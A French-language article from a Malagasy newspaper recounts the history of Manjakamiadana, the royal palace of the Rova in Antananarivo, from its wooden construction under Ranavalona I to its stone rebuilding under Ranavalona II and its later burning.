La Gazette de la grande ile

MANJAKAMIADANA

Publié le 14 mai 2018

Deux photos qui symbolisent la dégradation de notre patrimoine nationale. Des traces de cette dégradation sont multiples dans toute l’île : espèces endémiques de la faune et de la flore en voie de disparition … le savoir-faire artisanal désarticulé et moribond…les sous-sols broyés et éventrés…mais, le Rova est pour Antananarivo ce que la Tour Eiffel est pourParis.

Manjakamiadanadans l’enceinte du Rova, perché à 1400 m d’altitude, la colline la plus haute de la ville  était visible à plusieurs kilomètres à la ronde d’Antananarivo.Le début des travaux sur la vaste plateforme de la colline a commencé en l’an 1839, sous le règne de Ranavalona 1ere et, les souverains merinaqui lui ont succédée ont apporté, chacun,leur contribution aux fins d’affirmer leur légitimité.

C’est le roi Andrianjaka (1610-1630) qui a fondé le Rova d’Antananarivo. A l’origine, c’était principalement le siège d’une importante garnison royale ; d’où le nom la « ville des mille », mille soldats, Antananarivo. Les aménagements significatifs pour faire du Rova une résidence royale ont été pensés sous le règne d’Andrianampoinimerina (1787-1810), unificateur de l’Emyrne, et de Radama Ier (1810-1828), conquérant de la plus grande part de l’île de Madagascar

Manjakamiadana, le palais en bois

Selon la volonté et les recommandations d’Andrianampoinimerina, Ranavalona I,de son nom « de baptême » Ramavo, alors âgée de quarante ans, monte sur le trône à la mort de son époux Radama I, décédé le 27 juillet 1828.Elle régnera de 1828 à 1861.

La décision royale d’élever le palais en bois à l’endroit même de la case édifiée par Andrianampoinimerina et de le consacrer sous le même nom Manjakamiadana (qui règne en paix) est un acte symbolique pour perpétuer l’autorité royale.Le faste et la démesure de la conception architecturale, pensée par Jean Laborde,parachèvera l’affirmation de son autorité.Rappelons, que la case d’origine, détruite, a été reconstruite à l’identique à Ambohimanga.

La reine, dans l’édification de cet ouvrage, a fait respecter tous les usages et les us ancestraux de son époque. Un palais en bois, puisque le bois était le seul matériau autorisé dans la construction des murs des habitations, tous les autres matériaux étaient « fady » ; l’usage de la pierre étant réservé à la construction des soubassements  ou des tombeaux. De même le début du chantier a été déterminé par les « mpanandro » ; l’orientation traditionnelle et sacré, l’axe Nord-Est, a été respecté ; le premier pilier de l’angle Nord-Est mesurant 43 mètres, l’ossature principale, a été élevé en premier et, le « voromahery » a été représenté par l’aigle venu de France « exorcisé ».

En 1839, elle donne l’ordre à Rainiharo, commandant en chef, de réunir les bois et les matériaux nécessaires à la construction. Ce n’était pas chose aisée, puisqu’il fallait les trouver hors d’Antanarivo : « Ivolmahitsy », le pillier central  à Antshambavy-Andranoavo, les ardoises dans le pays betsileo….. Les corvées étaient de rigueur, les soldats étaient réquisitionnés et les meilleurs ouvriers formés par le charpentier français Gros et par James Cameron étaient sur le chantier. En 1841, le palais a été livré, il va s’en dire que ce royal ouvrage a coûté la vie à des milliers d’hommes.

Manjakamiadana, le palais en pierre

Ranavalona II (1868-1883),nièce de Ranavalona I, succède à la défunte reine Rasoherina et veut également laisser son empreinte dans l’histoire.

De l’âge du bois à l’âge de la pierre ;la raréfaction du bois dans l’Imerina, la fréquence des incendies et l’ampleur des ravages… conduit Ranavalona IIà lever l’interdit sur les matériaux consacrés à l’habitat. Les « vivants » ont désormais droit à la pierre, et la reine vadonner l’exemple en cassant « le tabou » : décider la construction en pierre du temple protestant dans l’enceinte du Rovamais également et réhabiliter le palais en bois par la pierre. Les constructions en dur (briques et pierres) remplacent progressivement les constructions en bois et, vont transformés durablement le paysage urbain. En 1869, la reine, dans son « kabary »,annonce officiellement la décision des grands travaux confiés à James Cameron, architecte-missionnaire anglais, et,demande au peuple d’apporter sa contribution :fournir100 000 pierres de taille. Le service qualité est assurésur le chantier, les matériaux non-conformes sont automatiquement refoulés et remplacés. Par ailleurs, l’état déplorable des chemins efface l’avantage acquis par la proximité des carrières de granit, situés àAmbatomaro, Malakialina, et Ambohipotsy.Ainsi le chantier prend du retardet, en 1874, alors que le temple d’AmbonyAmpamarinana est érigé les tours du palais ne sont toujours pas achevées. La reine prend la décision de lever les impôts pour pouvoir payer les ouvriers,les corvées se multiplient, …

A la livraison des travaux, seul le toit traditionnel pointu rappelle le palais en bois. Le style architectural européen s’est imposé.

Manjakamiadana, le palais en flammes

L’enquête n’a pu définir l’origine du sinistre : accidentelle ou criminelle ?

«Nous deviendrons maigres, étiques et puis morts de faim, voilà mon sentiment et notre histoire. »

Marivaux, l’île des esclaves 1725

Nancy Razanatseheno

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